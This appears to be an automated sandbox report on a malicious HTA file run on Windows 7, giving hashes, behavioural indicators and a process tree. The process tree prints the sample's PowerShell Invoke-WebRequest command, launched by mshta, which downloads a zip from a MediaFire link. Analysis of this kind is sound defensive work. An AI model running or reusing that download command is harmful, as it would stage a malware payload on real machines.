Analysis
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max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
25/08/2024, 10:44
Static task
static1
Behavioral task
behavioral1
Sample
a7ac669fd2de191ac8646191592bee752ee99e5cccfd560617cd22124fb6df36.hta
Resource
win7-20240708-en
General
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Target
a7ac669fd2de191ac8646191592bee752ee99e5cccfd560617cd22124fb6df36.hta
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Size
4KB
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MD5
0fcffc0e5bca1874887bef4e68d40636
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SHA1
329dd0436404ee88cbcce59526af21e9eef76ad6
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SHA256
a7ac669fd2de191ac8646191592bee752ee99e5cccfd560617cd22124fb6df36
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SHA512
02905421f6d8bed8f0190e10169f5a3992f7520ccff2eaa850d3dc23503485ad6a629a414286b56ac27b3b42e20ac8fdc77e4453fae8203aa2f71ceb614d0850
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SSDEEP
48:EgBeYUynQZl7pG6GEv2FVmE9W22J/OGkqM0g0E6n5zEz8dUvcvhnbVCHrak2Jpcg:EgBjEaHTh9Wr/OGSyPUvy6rOpcRO
Malware Config
Signatures
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pid Process 2376 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2376 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1288 wrote to memory of 2376 1288 mshta.exe 28 PID 1288 wrote to memory of 2376 1288 mshta.exe 28 PID 1288 wrote to memory of 2376 1288 mshta.exe 28 PID 1288 wrote to memory of 2376 1288 mshta.exe 28
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\a7ac669fd2de191ac8646191592bee752ee99e5cccfd560617cd22124fb6df36.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'https://www.mediafire.com/file/ja4n134du6sydf9/Last.zip/file' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Last.zip'"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2376
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